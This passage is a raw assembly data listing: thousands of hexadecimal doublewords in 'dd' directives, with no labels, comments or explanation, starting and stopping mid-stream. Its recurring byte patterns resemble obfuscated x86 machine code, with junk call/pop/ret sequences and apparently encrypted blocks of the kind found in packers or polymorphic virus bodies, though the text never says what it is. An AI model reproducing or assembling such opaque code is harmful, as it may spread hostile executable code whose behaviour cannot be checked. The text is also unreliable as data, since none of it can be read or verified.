0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 18h, 0E7C35545h, 23A31633h dd 99D8BF8h, 0B8060726h, 0 dd 2A29B501h, 8D8D0607h, 6074DB4h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 35C35343h, 2CA65AF1h, 39B54323h dd 73EB8143h, 0E93259FEh, 0Ah, 13F7AE28h, 483A247Ah, 0E1FF83B8h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 77C35040h dd 0F713229Eh, 0D62C0B5Eh, 0E9FAB70Fh, 9, 2BCC5063h, 2468FAE6h dd 68C0F30h, 29000000h, 7258D8Dh, 69BD8306h, 60700h, 425840Fh dd 9D8B0000h, 6071CDDh, 69BD83h, 0F010607h, 42D84h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 60B6C610h, 0FD0BF0Fh, 8361D0BFh, 70069BDh, 860F0306h dd 3C4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0F2C35545h, 8A28B76Ch, 1B509F9h, 60060733h, 2C5D8D89h dd 8C660607h, 558D89D9h, 66060712h, 806D29BFh, 0D78104E1h dd 6E8DE4D1h, 840FC90Ah, 0EDh, 2F799529h, 858B0607h, 607306Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 2EC35141h dd 0B581B3F2h, 33FC51CFh, 7330585h, 3DBD8B06h, 80060723h dd 0B750B0C3h, 24048961h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 5FC35545h, 65456B72h, 8B66A2ECh, 9D9D8BFBh dd 6A060703h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 7D9D9930h, 0D4C7076Dh, 68D98B66h dd 1B3F7FEh, 800Fh, 34810000h, 0ACF40124h, 3B23BF01h, 95FF556Dh dd 6071B91h, 728589F5h, 6A060AB3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BE7EC351h dd 1B13C697h, 99BD8BC5h, 0E906072Fh, 236h, 0A4DB8166h dd 6A858B47h, 66060AB3h, 0C7DA8Bh, 18h, 0B36EB58Bh, 6A060Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 19261C3h, 0E50CF554h, 14E93Eh, 821D0000h, 89967BEBh dd 71C3C0CDh, 9ECBB28Eh, 0E61B9E2Eh, 0B589182Ah, 6070139h dd 1579858Bh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0FFE6D6C3h, 13E90689h, 0B000000h dd 0E3F14CCh, 1F4D19E2h, 116E939Dh, 0F0106856h, 858BBBD1h dd 607306Dh, 0D840Fh, 8E90000h, 0F7000000h, 3A468D6Eh dd 895A6402h, 0BD8B0446h, 6072CE1h, 0B022BF96h, 0E9502433h dd 10h, 10067846h, 68A1506Eh, 7BCE50B5h, 0AE01AC6Bh, 52006A96h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0A7CC8CBCh, 988C488Eh, 952950EBh, 6071BF9h, 6AB5FF5Fh dd 0F060AB3h, 0C85h, 6800F00h, 8B000000h, 73021BDh, 10E906h dd 7CF0000h, 0C3386A99h, 3F52A4A9h, 0BB0B8B7Ch, 4E8489Fh dd 0FF000000h, 0B3001F03h, 525050B4h, 2800Fh, 0D98B0000h dd 8D0F310Fh, 0 dd 448B585Ah, 8B0424h, 0E8E0Fh, 9E90000h, 2000000h, 55C8547Eh dd 0DC0371Bh, 4244489h, 13E8h, 0DCFBA300h, 0E680DBC2h dd 75F47B71h, 0C4BEADDBh, 0EEE1F73Ch, 5BFA8B66h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0A96B6618h, 0ECBCEA3Ch, 9D8B14ABh, 60731A9h, 14E9h dd 35235E00h, 0E0029E57h, 922BC81Ah, 0FD6E2713h, 268658B2h dd 72858DD2h, 89060AB3h, 726298Dh, 50609006h, 0F87B452h dd 0F525031h, 5A585A31h, 61F38B58h, 0CE850h, 9A6C0000h dd 0B05A33EBh, 0F37EDB90h, 905FF2AAh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 91C35747h, 9D33BFFEh, 6072365h dd 3159BD8Bh, 95FF0607h, 6071B91h, 8961E3B3h, 700C9B5h dd 619D8B06h, 0C706070Bh, 7006985h, 306h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0C232C59Ch, 0E85B8161h, 0B372BD83h, 0F00060Ah, 1384h dd 0D9952900h, 8106072Ch, 0ADB052CBh, 1DE90Fh, 13B30000h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 840EC350h, 85E1BCF5h, 2E959D29h, 0BD830607h dd 6070069h, 3B850F03h, 8B000004h, 72BD83F9h, 60AB3h, 42C840Fh dd 81660000h, 0FF0733C7h, 0AB372B5h, 89BD8B06h, 0FF060703h dd 7154595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0C48F71D2h, 40C18CBFh, 0E8EAB3E5h dd 0Eh, 58B39B1Bh, 0BB279621h, 0C5CBEFBBh, 9589F0F7h, 60723DDh dd 66B58B5Fh, 0B7060AB3h, 0C5B5297Dh, 0C706071Eh, 1000106h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0E381C559h, 6A61E323h, 0F525050h, 585h dd 0C8E6BF00h, 310F5CBFh, 585AFA8Bh, 8B243489h, 717A99Dh dd 72B5FF06h, 0E9060AB3h, 12h, 0A3AE7CB4h, 0F421063Bh dd 0DC61B76Bh, 438974E0h, 0FA8B1B9Bh, 91195FFh, 0BB660607h dd 0B58B4E6Ch, 60AB366h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0A8C35141h, 858B265Fh, 6072CC9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 94C35747h, 0CD5B8464h dd 8909890Ah, 0C486h, 0FE900h, 7F800000h, 61455F3h, 740D4774h dd 547E02C4h, 41958BC8h, 6A06071Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 3ADFC353h dd 311851F1h, 7056D85h, 4C28306h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0ECC35545h, 747BF104h, 0DBB70F3Ah dd 6A205089h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 997BC350h, 38F98E46h, 0E90445E8h dd 10h, 6C376753h, 709718CAh, 1624960Ch, 5762FD1Eh, 0C7ED858Dh dd 0D781060Ah, 3BF61A87h, 0B88689h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD0934C3h dd 60708C5h, 0B5FF006Ah, 60AB372h, 0E6D2BF66h, 29FD95FFh dd 9D8B0607h, 6070411h, 24348950h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0ADC35040h, 6131C4B9h, 75EE1116h dd 0AE9h, 18188500h, 7D1CBE35h, 0FFDB6C56h, 0AB372B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 67E3136Eh, 0E4A1F4C7h, 1AA595FFh, 6A0607h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 2F5A20C3h, 0A40C7E6Ah, 12E95C97h, 0BE000000h, 0C65C1114h dd 0A5D704DAh, 0AFA1C1CFh, 37DD80B8h, 0ADBD8342h, 60708h dd 52840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 49C922C3h, 0C01C33D5h, 0E3819938h dd 0B1DA00Bh, 8B665096h, 10E896FBh, 0F9000000h, 9D1E36B3h dd 0F52A359Ch, 0DCCC5382h, 0F4B967Dh, 68Ah, 8A0F00h, 5F000000h dd 0B372B5FFh, 0BF0F060Ah, 595FFFBh, 0E8060726h, 11h, 7F55846Eh dd 0D448A6BEh, 67384E7Ch, 0EFE05D82h, 7E8E6h, 33F00000h dd 87B378C9h, 0FBB70F2Bh, 0B5FF5F5Bh, 60AB372h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6DC35242h, 0C78BB880h dd 95891C98h, 6070931h, 1DF195FFh, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 754D3FC3h dd 8596DF3Ah, 0B1BD83CBh, 2060703h, 6C840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 19DCC8C3h, 4DFEAFB7h, 501664BEh, 5FDBBF0Fh, 10E9h, 39A79D00h dd 0E4950B6Dh, 27A29551h, 5FC3C647h, 49858BEBh, 6A060707h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 5E8AC357h, 0EE4AC20h, 0C68F79h, 85C7F900h dd 6070F49h, 0 dd 0B699529h, 0C0E90607h, 0FFFFFF2h, 8Fh, 6AC18B00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 2B36C352h, 8B9BA930h, 0BF0F60FAh, 1683BEC0h, 0E86126A5h dd 9, 0FA4BD551h, 0DEA2421Bh, 0F5B58B9Eh, 5806071Fh, 66E1C081h dd 958B0000h, 6072C55h, 199668h, 0F6816600h, 895B9E9Fh dd 706B9BDh, 8B388B06h, 70BA995h, 0B0F78106h, 90092F6h dd 7102195h, 7FC78106h, 297C1F36h, 72D918Dh, 0A3C78106h dd 2967E6F5h, 70AADBDh, 8FF95706h, 5800F00h, 66000000h dd 6615DE81h, 3B3EE881h, 950B6F71h, 6072601h, 3B3AC081h dd 85896F71h, 6070589h, 0A6850F4Bh, 29FFFFFFh, 7157595h dd 0BA06h, 0EA81F00Eh, 0F0000000h, 8914C283h, 72C5195h dd 14EA8306h, 2DA6858Dh, 6450060Ch, 35FFh, 89640000h, 25h dd 0E800h, 2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h dd 1285h, 50B70F00h, 81D0033Ch, 45503Ah, 0A840F00h, 2D000000h dd 1000h, 0FFFFD9E9h, 89C88BFFh, 70FCD85h, 3C400306h, 650B70Fh dd 2CE99589h, 508B0607h, 7D958950h, 5060719h, 0F8h, 30C508Bh dd 99589D1h, 3060722h, 95890850h, 60726E1h, 58F64h, 83000000h dd 13E904C4h, 51000000h, 10244C8Bh, 0B0A981h, 10000000h dd 33590000h, 0BD83C3C0h, 60732B9h, 24840F00h, 0C6000000h dd 71C4D85h, 0D2684706h, 0FFD49AA7h, 712EDB5h, 0FE858D06h dd 0FF060A7Ch, 0FF006AD0h, 0A98589D0h, 8B06071Ch, 0CD8D8DD3h dd 6A060C2Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 8BB9C355h, 71B3DBDh, 418D8906h dd 6A06071Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0FC41C351h, 858BF994h, 6071539h dd 68B0Fh, 850B0000h, 60723A1h, 49BD8B53h, 5E060717h, 60585C7h dd 63100607h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0C66E2EC3h, 6985C7h, 607h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8166D7C3h, 664944C3h, 76A0EB81h, 2B21B5FFh, 0B58B0607h dd 6070199h, 1E195FFh, 0BE660607h, 8166DD6Ah, 6ACB04E0h dd 195FF00h, 8B060732h, 127DEBC0h, 57428EC1h, 0D477E055h dd 76ED1ADh, 0F32840CEh, 4C5E7E2Ch, 4C070C2Fh, 0ECFAA286h dd 7EFCA3C9h, 0D7ABEDAEh, 0A765CED2h, 9DD4A71h, 7039F0C8h dd 6819171Eh, 54889E5Dh, 751A97E2h, 0B3FD4921h, 0D38C47Ah dd 8B40E72Fh, 710952Fh, 11CF7530h, 57E95C5h, 0CEC658F2h dd 11A689D1h, 0B022FD5Eh, 0CDE4C1C8h, 0D3C6576Dh, 5D297DC1h dd 22946FD5h, 40E66161h, 3C2B12D0h, 0B8462BECh, 304B8D8Dh dd 5E9060Ch, 0AF000000h, 6B4F8DA1h, 1B418D89h, 6A0607h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0D60104C3h, 3BBBA7AFh, 0DE94ABEh, 1B000000h, 268C4EE8h dd 1DC3CC88h, 0AACFC89Eh, 60585C7h, 6C6C0607h, 85C70000h dd 6070069h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 98C35242h dd 0B52CC010h, 0A9BD8B0Ch, 0FF06070Bh, 732C9B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 32CB808Fh, 1E195FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0CA1F04C3h, 0F6546C29h dd 1B8D0Fh, 13E80000h, 96000000h, 0C62B6CC6h, 0B1C1BF6Fh dd 9050F725h, 0ACEB7D3Bh, 0DEB6F881h, 0FF006A5Bh, 7320195h dd 0EBC08B06h, 1316E36Fh, 0B2C4A46Bh, 6B91DB79h, 85C5392h dd 0D0826083h, 0D3D39824h, 49178EFCh, 634505Bh, 0D8320B94h dd 7A00C839h, 45114F13h, 0B57158A3h, 5DC6B93Fh, 0C764F59Ch dd 701A386Bh, 6FC8BE49h, 0A011B041h, 5B1A1EBh, 833C903Bh dd 480B5AB4h, 469B2083h, 0F4AD0928h, 7F463877h, 0F41F6E79h dd 57648579h, 0AEFBC577h, 646E9C20h, 0C3C38A86h, 0E772200Dh dd 0B072495Eh, 732D6A5Bh, 940EC3F2h, 9436CBD2h, 0B0725F6Fh dd 73250DB5h, 0BF122886h, 77DB1D2h, 0BE9B2B64h, 11724A5Bh dd 2506568Ah, 0B7792D41h, 76AAD32Eh, 31B2C1FBh, 0AAD70B11h dd 0B1CFC951h, 0B0744D87h, 0DF1432Eh, 0B67540F8h, 0E06B3ED6h dd 8B2C138h, 0B0724EB6h, 9BDFCF53h, 2DFF4C6Ah, 0B67BF944h dd 0E82999A4h, 0BA27F72Eh, 0C4724CD1h, 8211A7Ch, 0B0724EB6h dd 9BDFCF53h, 2DFF4C6Ah, 0B67BFA57h, 0E82999A4h, 0B074C2A2h dd 3DFB4AD6h, 0B67566C6h, 58204ADFh, 0B0724AD9h, 0EAB1104Dh dd 0B4561E3Fh, 0B4560EDAh, 0B0724AB8h, 20B11894h, 70F9B345h dd 0B8DBD73Eh, 3C144CDDh, 6FC545B5h, 347D4E1Eh, 0B07249ACh dd 58224AC7h, 0B0724AD5h, 0E8B1124Bh, 0B4560E3Ch, 0B4560E5Bh dd 0B0724A74h, 0E9B11AF6h, 6F8163C0h, 35712AC4h, 0B67565E3h dd 0AF03FFE2h, 33134CB2h, 0B75B0767h, 347D4A6Bh, 0B0724A81h dd 58214A31h, 0B0724AAEh, 0EBB111F6h, 0B45616E2h, 0B4560E34h dd 0B0724AC6h, 97B1192Eh, 0F01D8B63h, 0BB0ABB98h, 0A0E3FFA4h dd 48F84CD1h, 0B071C082h, 1DE763B5h, 0E744DFCh, 0B2726D6Dh dd 0B074C1B9h, 0D5B4A5Bh, 0B6756094h, 0C07ACF5Bh, 0B0184C61h dd 0B071A2E5h, 0E8524ADAh, 0F4FB12AEh, 0F4F34E92h, 0B0644E7Fh dd 0E0324AADh, 4522C815h, 0A12BD762h, 0B79A4CB2h, 77724ADAh dd 842049B4h, 5820492Eh, 0B0724A53h, 0C8ACFEBAh, 33809438h dd 4F2D1331h, 0E3722065h, 0B0724932h, 73296A6Dh, 942EC3EDh dd 9436CB5Fh, 0B07252A9h, 732109D6h, 13E44FF1h, 0B8F34516h dd 0D0724ADAh, 2C76F094h, 3513601Eh, 66F6459Bh, 0DA724AADh dd 0B39A1BD6h, 90724A6Bh, 392B89ECh, 31766E96h, 0AD766E29h dd 0F1724AB6h, 6D4B890Ah, 0AF3AED1Bh, 0F1F4C7F8h, 0B0724482h dd 0EB3302B5h, 6CFADC72h, 9703B0B4h, 3BEE2E5Ah, 0E74ACB95h dd 0BF89CBCBh, 0B0727E53h, 0B0FA456Bh, 0D6724AB5h, 0B276325Bh dd 56F6456Fh, 0DA724AB4h, 0B39A1A5Bh, 90724AADh, 392A898Eh dd 31766E2Fh, 0AA766EF1h, 0F0724ADAh, 7267893Dh, 374378ACh dd 88F32C92h, 357D2A31h, 0B0724A87h, 9587CF42h, 0C8F24CB2h dd 357DA2D8h, 0B0724A2Ch, 58204ADCh, 0B0724A58h, 0EAB1108Dh dd 0B4561E5Fh, 0B4560EEAh, 0B0724AACh, 4B11898h, 25918341h dd 139CCA5Ah, 0B60ACB3Dh, 357DE1ADh, 0B0724AC7h, 3C7D93E0h dd 0B0724AB1h, 0A1AF5BCh, 0B0702284h, 0B172F4B6h, 7EF20C5Ah dd 0B8F7C71Eh, 3A7440A6h, 2A2B592h, 7ACD4533h, 347D8A5Fh dd 0B0724B92h, 0ACD7CFB7h, 88F34C5Ch, 0B27077CBh, 0B04ACFD9h dd 0B144A6Bh, 0C8F3B970h, 0EF4F2CDCh, 96F64517h, 0DA724AB4h dd 0B39A1B5Bh, 90724AADh, 392B898Fh, 31766E27h, 0A7766EF1h dd 0F1724ADAh, 6B2B893Ch, 367D7507h, 0B0724A59h, 31149226h dd 0BF12D6EEh, 0B0723CEEh, 0ADE7C1B5h, 30744DCAh, 0BF9A4815h dd 0B0722C33h, 0E572205Bh, 0B0724945h, 732F6AD6h, 941EC336h dd 9436CBB1h, 0B07256DEh, 73270F6Dh, 4395B21Dh, 1EABB286h dd 0DCFC1FBh, 0D6744DD1h, 0B07432EAh, 80F74575h, 3B724ADAh dd 0B7404FF0h, 0B1D1A3B0h, 0B0184A5Bh, 0B071A2F8h, 0ED524AD6h dd 0DCFB17A8h, 0F4F34E91h, 0B0654EFEh, 0E5374A6Dh, 7BE2CA75h dd 1DFFC39Fh, 0E744D88h, 0CE734BD6h, 3D6C88EBh, 0BA024230h dd 0E27220DCh, 0B0724985h, 73286AB6h, 9426C301h, 9436CBA9h dd 0B07252D2h, 7320086Bh, 0B7EDEA70h, 47CB1DF3h, 0EB4392DFh dd 0B89B9A49h, 9C724A5Bh, 0F679A2E3h, 35D91F4Eh, 58F645ABh dd 31724AB5h, 0F7BD410Bh, 584ACA72h, 0B03CCFB9h, 6FF34A5Bh dd 0D30123EAh, 30A3FDD9h, 0BF014F13h, 0B0727130h, 0E9F763DAh dd 30744D75h, 0BF214DCEh, 0B0734ADFh, 0E67220ADh, 0B072493Eh dd 732C6A6Bh, 9406C3EBh, 9436CBDEh, 0B0725769h, 73240CB6h dd 0DD9BB908h, 4B7FC56h, 0DF94F62h, 0B6754D8Ah, 3F4ACBD3h dd 30F745DFh, 0DA724A6Dh, 0B39A18B6h, 90724A5Bh, 392889F7h dd 31766E82h, 0A4766E2Fh, 0F2724AB5h, 30208988h, 0BF1A4C15h dd 0B0721033h, 0E572205Bh, 0B0724945h, 732F6AD6h, 941EC336h dd 9436CBB1h, 0B0725EDEh, 73270F6Dh, 7FF9B2CDh, 9BB3C7D0h dd 31144CAAh, 958D41AEh, 0B05BCF64h, 0D6254AB5h, 0EB600260h dd 0B0722284h, 0E37220B6h, 0B07249B3h, 73296AADh, 942EC38Dh dd 9436CB6Fh, 0B0725CB1h, 732109DAh, 9B3ACD17h, 0E6722076h dd 0B07249B3h, 732C6AADh, 9406C388h, 9436CB6Fh, 0B0725FB1h dd 73240CDAh, 0BF122576h, 0B0724E3Eh, 0B8CD2C5Bh, 0E141BD1h dd 0D1291BC8h, 9CDBCF42h, 839B4CB2h, 58724ADAh, 0B0724A6Ah dd 5BE3118Eh, 48D64FFBh, 0B073F2F7h, 0B0184AD6h, 0B071A23Ch dd 0EF524AB5h, 0CCFB1519h, 0F4F34E49h, 0B0674E92h, 0E7354A5Bh dd 3035CC6Eh, 0D6E2181Ch, 0E0491DD0h, 0BACC2CD5h, 0DAE22BA1h dd 0B39A196Dh, 90724AB6h, 39298900h, 31766EF1h, 0AA766E92h dd 0F3724A6Bh, 205689E6h, 1A087B75h, 91F74B1Eh, 31744DA1h dd 0D86FD7A8h, 0FCFC788h, 3D7446E6h, 0BC4402E6h, 0E551F2B3h dd 35713DBCh, 0B6754DECh, 59B3859Dh, 734BD60Eh, 6C88EBCEh dd 242303Dh, 7220DCBAh, 724985E2h, 286AB6B0h, 5E98373h dd 8B58A4F3h, 71E91BDh, 0FC00B06h, 6084h, 0D1950B00h, 8D06072Ah dd 74DB4B5h, 860F5306h, 6, 8B0Fh, 0B85B0000h, 3, 14E8h dd 71421800h, 3F5BEE9Fh, 82C3BBCFh, 3ACF5821h, 0E4AA5541h dd 46B9663Ch, 0E6FF5F89h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 29C35242h, 8B6626B3h, 8D3340CAh, 6071B29h dd 0B589C08Bh, 6070FADh, 3101BD83h, 75000607h, 55BD8309h dd 6070Ah, 53501974h, 3B8C08Bh, 89000004h, 7217D85h, 599D8D06h dd 0FF0609B4h, 83585BD3h, 70A55BDh, 17740006h, 3B85350h dd 89000004h, 7217D85h, 0FA9D8D06h, 0FF0609B0h, 6A585BD3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 13F1C355h, 2BD4F58Ch, 0E58D892Eh, 6A060726h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0B76BC356h, 59850961h, 8B060733h, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 5FFAC78Dh, 0DA344498h, 0E9952960h, 61060726h, 0DE616160h dd 0D4D4712Ah dd 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h dd 0EF5E265Ah, 339F3A7Eh, 0FFB44E60h, 0F867A5E4h, 0A09F34DEh dd 2F66A3BEh, 79672039h, 0D7F5A3BAh, 0D71B2034h, 339F148Ah dd 831D2933h, 0C0982633h, 0AAAF9CB6h, 0D6157635h, 0AF94119Fh dd 0B90DD963h, 839E2130h, 35982664h, 1F152359h, 4B94118Fh dd 0A1DAB63h, 39E2A04h, 84CDB3CCh, 14932034h, 6AA1A23Ch dd 0B0152633h, 9C94118Fh, 4DAACE63h, 0F6D82633h, 645AA3BEh dd 24C8203Fh, 0D8AF9AB6h, 0FF677635h, 339F3882h, 1794E2B0h dd 41AF9AB6h, 23157635h, 5594119Fh, 0C40DD963h, 3D9E2130h dd 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh dd 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh dd 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h dd 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch, 4EC3D9CCh dd 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch dd 88152637h, 9C941199h, 7547ABBEh, 9320203Fh, 78000000h dd 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh, 0B58DFFFFh dd 60C38DFh, 38FE8D8Dh, 0CF2B060Ch, 8B05E983h, 7E8C8h dd 0B4A60000h, 0A658525Fh, 0FFB70F32h, 8166535Eh, 5F2909D7h dd 5946C681h, 8B510000h, 71B1995h, 0B8B85F06h, 8126D597h dd 0D581A4F0h, 6860F26h, 8B000000h, 71001BDh, 0F536FF06h dd 41BD8959h, 81060702h, 8BA974F1h, 81D08B6Bh, 5C1005C1h dd 6E828h, 0BD350000h, 9C7D32AEh, 117D9D8Bh, 815F0607h dd 59E8C0E9h, 8E951h, 53FA0000h, 4D5F5564h, 0E951E515h dd 5, 887D86B1h, 0E8068FCDh, 14h, 0B49C66C3h, 0D8B6A48Dh dd 3EA6CCFDh, 179C7738h, 0AE829ED7h, 735958Bh, 835F0607h dd 858901EEh, 607307Dh, 0E84E4E4Eh, 0Eh, 55832B97h, 938C11E4h dd 0B21D4FCFh, 8B662DB8h, 0E8815BDEh, 1, 0FF67850Fh, 5E9FFFFh dd 0AD000000h, 0EBCBB5E5h, 50335820h, 13331C8h, 0C26A1210h dd 257FBB51h, 2577B300h, 1332E06h, 0C2627301h, 0BB9B5DF9h dd 0EA5E2B82h, 0FC86B9DCh, 8A353506h, 6184BB5h, 0D9BF5402h dd 0E9623268h, 1333202h, 58F06BA0h, 5177EC9h, 51776A1h dd 1333208h, 0CCF06349h, 957BD41Dh, 853C36AAh, 13333E1h dd 0B92AFB1h, 0BCB03447h, 7341B6Dh, 20B73D10h, 8A333208h dd 610AFB9h, 0F1DB04h, 0ADA3201h, 0A5333280h, 32517371h dd 1B4E4A03h, 9CB861D3h, 734322Dh, 4DA6454h, 97333202h dd 0EFCC9CE1h, 2537BBDEh, 0E965322Ah, 1333223h, 5FF06C30h dd 5174681h, 5177685h, 1333214h, 0C7F06447h, 80554A82h dd 0EE9EB8Bh, 0FF177E21h, 135B71Fh, 9CBA3208h, 7340389h dd 5633585Ah, 13331E9h, 0C26C1280h, 254FBB1Fh, 2577B324h dd 1332614h, 0C2647508h, 0D886033Dh, 82353502h, 1591EC1h dd 130DAD2h, 5B133240h, 55BA68E3h, 45B23634h, 12A362Ch dd 53713204h, 7C4B11C1h, 8060F11Bh, 0B2E6764Fh, 0CA728956h dd 9B876F3h, 0E961327Ah, 133320Bh, 5BF06824h, 517668Bh dd 5177680h, 1333298h, 57F06002h, 0FDF90A9Bh, 131BE1Fh dd 0DBB83208h, 4BBEF7BFh, 49B85443h, 1C86BBFDh, 67353586h dd 0FE050BC1h, 141B62Fh, 0C0B03210h, 0E80AB201h, 1F5B70Bh dd 8A553202h, 72B9FBh, 0E96032EAh, 1333243h, 5AF06900h dd 5176E99h, 5177689h, 1333213h, 6DF06141h, 80F3F2D5h dd 0C3E7C85Fh, 82FB315Dh, 0BCB837E1h, 7342075h, 4AA30B89h dd 843CB947h, 1333286h, 12BB30Eh, 11DB3280h, 0A7333240h dd 1DF87AC3h, 7973CCE8h, 0FA54F578h, 5715F484h, 8CBA6C5Ch dd 7341384h, 4C87BF0Dh, 1593447h, 130DA76h, 5F133210h dd 75BA6CCBh, 45B23620h, 1283626h, 57753201h, 11749343h dd 0F605A8B9h, 121DB8Bh, 1F0F3210h, 0A70D5E03h, 0C130D5CCh dd 151294DBh, 0E17403F3h, 1333138h, 64AE0340h, 0FE353530h dd 13DDBF1h, 0DDDB3208h, 0FAECC7BDh, 253C3ADAh, 0A990E778h dd 573358E1h, 13331A8h, 0C26D1220h, 2547BB4Eh, 2577B30Ch dd 1332900h, 0C2657402h, 5EE83D04h, 0BAA9EE33h, 135BC4Fh dd 0B43A3220h, 7341DE5h, 38EC8F85h, 8CBE3408h, 73F0E65h dd 93B046B9h, 0C8B60181h, 2A353559h, 3DAF3EFh, 50335820h dd 13331C8h, 0C26A1210h, 257FBB51h, 2577B300h, 1332E06h dd 0F305E983h, 33C08BA4h, 71B3D95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 35A7D9F3h dd 0E389D4C3h, 0C38B15D5h, 3D4D8D8Dh, 6A060Ch, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0FC847C3h, 118Ah, 0CE900h, 68930000h, 0D84C6147h, 91A609C3h dd 13E9BE08h, 90000000h, 5F710269h, 8D607489h, 0EC3FC298h dd 84429DDCh, 8D899629h, 6071B41h, 336D9D89h, 9D8B0607h dd 6072A69h, 60585C7h, 6FEC0607h, 0C7F50000h, 7006985h dd 6, 0CDBD8B00h, 0FF06070Ah, 70BA5B5h, 0FFFC8A06h, 701E195h dd 0C1958906h, 6A06070Fh, 195FF00h, 8B060732h, 8E18EBC0h dd 8C5F4E4Dh, 0D72BAB61h, 0BBA40052h, 3647D786h, 306FD9Ah dd 8DE364D1h, 0C3E2A8Dh, 10E806h, 5620000h, 0B987E1EEh dd 0BF82E93Eh, 0B665E7FAh, 8B0F8EBFh, 6, 18B1958Bh, 895E0607h dd 71B418Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 60D564D3h, 0AB19A824h, 9E97D43h dd 11000000h, 0BED63E1Ch, 84C446BFh, 3800Fh, 0B70F0000h dd 585C7F9h, 0FC060706h, 8B00005Ch, 0C7D88BC3h, 7006985h dd 6, 0B5896000h, 6071F71h, 0FF619BB0h, 70BA5B5h, 0E195FF06h dd 6A060701h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 43F4C355h, 0F94E3F54h, 95FF006Ah dd 6073201h, 18EBC08Bh, 0EF1784A0h, 0FC396437h, 0A92AB12Ch dd 995E555Dh, 75D54383h, 0BA0C54D2h, 9E8h, 0F6125D00h dd 0D54C4C35h, 0CE9D2D8h, 66000000h, 